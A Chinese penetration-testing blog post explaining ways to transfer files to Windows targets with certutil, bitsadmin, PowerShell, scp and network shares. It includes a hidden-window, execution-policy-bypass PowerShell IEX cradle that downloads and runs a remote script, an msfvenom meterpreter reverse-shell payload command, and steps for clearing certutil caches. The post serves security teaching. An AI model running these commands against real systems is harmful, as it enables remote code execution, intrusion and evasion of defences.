• 渗透测试常用文件传输方法——certutil、BitsAdmin、Powershell、SCP、Windows文件共享


    渗透测试常用文件传输方法-Windows篇(如何向Windows服务器中上传文件?) (゚益゚メ) 渗透测试

    bitsadmin的详细使用可参考:https://toutiao.io/posts/bcz5e1o/preview 

    2021年04月23日 16:56 ·  阅读 74

    文章目录

    文件传输

    文件传输在渗透测试中主要用于将攻击载荷上传到目标主机或者获取目标资产使用。
    下面我说的下载统一为攻击机向目标机传输文件,上传则相反!
    下面很多下载我都是在Linux上开启的下载服务,可以看我在Linux篇写的攻击机挂载文件xunmi.blog.csdn.net/article/det…
    注意: 下述所有命令,如果你是在powershell中执行的,则无需在开头写powershell,如果是在cmd中执行的,这需要写powershell。下述所有命令没有特殊说明的情况下,我都是使用powershell做示例!(看命令行开头有PS这代表是powershell!)

    certutil

    certutil是Windows内置的一个证书服务的一部分,其中有可以被我们利用的下载模块。

    • 优势: 方便易用,支持大多数文件下载
    • 缺点: 不支持文件上传,而且下载文件后留有缓存
    # 显示或删除 URL 缓存项目
    -URLCache
    # 分离嵌入的抽象语法标记1(ASN.1)元素,并保存到文件
    -URLCache -split
    # 强制执行
    -URLCache -f
    # 强制执行将目标文件保存到指定地址
    certutil.exe -urlcache -split -f 目标文件 保存地址
    # 如
    certutil -urlcache -split -f http://43.128.11.31:8000/6666.exe C:\临时\下载文件.exe
    复制代码

    在这里插入图片描述
    上述在介绍命令的时候也能看出这种下载方式是利用了cetutil的缓存机制,所以会留下缓存的文件。默认缓存路径%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

    # 删除缓存
    certutil.exe -urlcache -split -f 目标文件 delete
    # 如
    certutil.exe -urlcache -split -f http://43.128.11.31:8000/6666.exe delete
    复制代码

    BitsAdmin

    • 优势: 专门用来传输文件的工具,传输功能齐全。
    • 缺点: 下载目标必须是真实的HTTP协议,如阿帕奇,不支持Python之类的脚本开启的临时服务。
    # 下载文件
    bitsadmin /transfer 任务名 下载地址 保存地址(最后需要加上保存文件的名字)
    # 如
    bitsadmin /transfer 下载任务 http://43.128.11.131/1.txt C:\Users\xunmi\Desktop\网安\下载文件.txt
    复制代码

    在这里插入图片描述

    Powershell

    • 优势: 简单易用,适用性广。(并且支持Python之类的脚本语言开启的简易web服务!)
    • 缺点: 被大多数杀软判定为安全重灾区,会受到很多杀软的’特殊关照’!
    1. 方法一: 调用内置对象system.net.webclient(提供常用的方法来发送和接收由URI标识的一个资源中的数据)
    # 最基础的文件下载
    ## 创建一个新的对象
    $p = new-object system.net.webclient
    ## 调用此实例来下载目标文件
    $p.downloadfile("下载地址","保存地址")
    # 合并版
    ## powershell中执行
    $p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')
    ## cmd中执行
    powershell -c "$p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')"
    powershell -c "$p=new-object system.net.webclient;$p.downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')"
    # 简写版
    (new-object system.net.webclient).downloadfile("下载地址","保存地址")
    (new-object system.net.webclient).downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')
    复制代码

    PS: 保存地址尽量写绝对路径!

    1. 方法二:调用Invoke-WebRequest方法,此方法有几个别名,iwr,wget,curl,使用此别名和此方法名效果是完全相同的!如果你看了我之前写的linux篇或本身对Linux文件传输就有所了解应该会对这几个别名感觉非常熟悉!
    # 使用方法
    Invoke-WebRequest -uri "下载地址" -OutFile "保存地址"
    # 使用别名效果相同,并且-uri可以省略
    wget "下载地址" -OutFile "保存地址"
    # 比如
    wget 'http://43.128.11.131:8000/6666.exe' -OutFile 'C:\Users\xunmi\Desktop\网安\6666.exe'
    复制代码
    1. 方法三: 加文件加载如内存,无文件落地,这里需要调用到内置对象Net.WebClient
    # -windowstyle 窗口模式(这里我选择隐藏窗口) 
    # -exec 执行策略,可以简写为-ep(默认策略无法在内存中执行,这里选择bypass)
    # IEX 加载到内存,无文件落地
    powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('下载地址');脚本名";
    # http://192.168.1.200:8000/shell.ps1
    powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1";
    复制代码
    # 使用msf生成一个测试目标
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=6666 -f psh-reflection -o shell.ps1
    
    powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1";
    复制代码

    SCP

    scp有点像ssh的连接语法,也是一个非交互的文件传输方法,同样也会自动调用ssh的免密认证。并且这种方法不仅可以下载文件,还可以下载文件夹还有上传文件和文件夹操作!

    # 下载文件
    scp 用户名@服务器地址:目标文件 保存地址
    # 如
    scp root@43.128.11.131:/root/渗透测试/1.txt F:\下载\临时\1.txt
    # 下载文件夹(需要-r参数)
    scp -r 用户名@服务器地址:目标文件夹 保存地址
    # 如
    scp -r root@43.128.11.131:/root/渗透测试/挂载脚本 F:\下载\临时\
    # 上传文件
    scp 上传文件 用户名@服务器地址:目标目录
    # 如
    scp F:\下载\临时\火星船票.png root@43.128.11.131:/root/渗透测试/上传的图片.png
    # 同样如果想上传文件夹,只需要添加-r参数即可
    scp -r F:\下载\临时 root@43.128.11.131:/root/渗透测试
    复制代码

    在这里插入图片描述

    Windows文件共享

    文件共享在内网横向渗透中会比较常用。

    # 查看当前本机可共享的文件夹
    net share
    # 如下图,可以看出默认情况下,我们几个磁盘都会被共享,对方如果有我们主机的账户的话是可以直接远程挂载的!
    复制代码

    在这里插入图片描述

    # 挂载方式
    net use 本地盘符 \\目标IP地址\目标共享名
    # 或
    net use 本地盘符 \\目标IP地址\目标共享名 "目标用户密码" /user:目标用户名
    net use Y: \\192.168.1.251\Users "8ge8+1ge1" /user:xunmi
    # 但一般默认共享的目录只有administrator及以上权限用户才有资格连接
    复制代码

    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    开发者必看!探秘阿里云Hi购季开发者分会场:海量学习资源0元起!
    表格存储TableStore2.0重磅发布,提供更强大数据管理能力
    配置管理 ACM 在高可用服务 AHAS 流控降级组件中的应用场景
    利用栈将中缀表达式转换为后缀表达式并进行计算
    利用栈将中缀表达式转换为后缀表达式并进行计算
    Matlab学习点滴
    Matlab学习点滴
    Matlab学习点滴
    栈的基本应用_将字符串逆序输出
    栈的基本应用_将字符串逆序输出
  • 原文地址:https://www.cnblogs.com/bonelee/p/16020788.html
Copyright © 2020-2023  润新知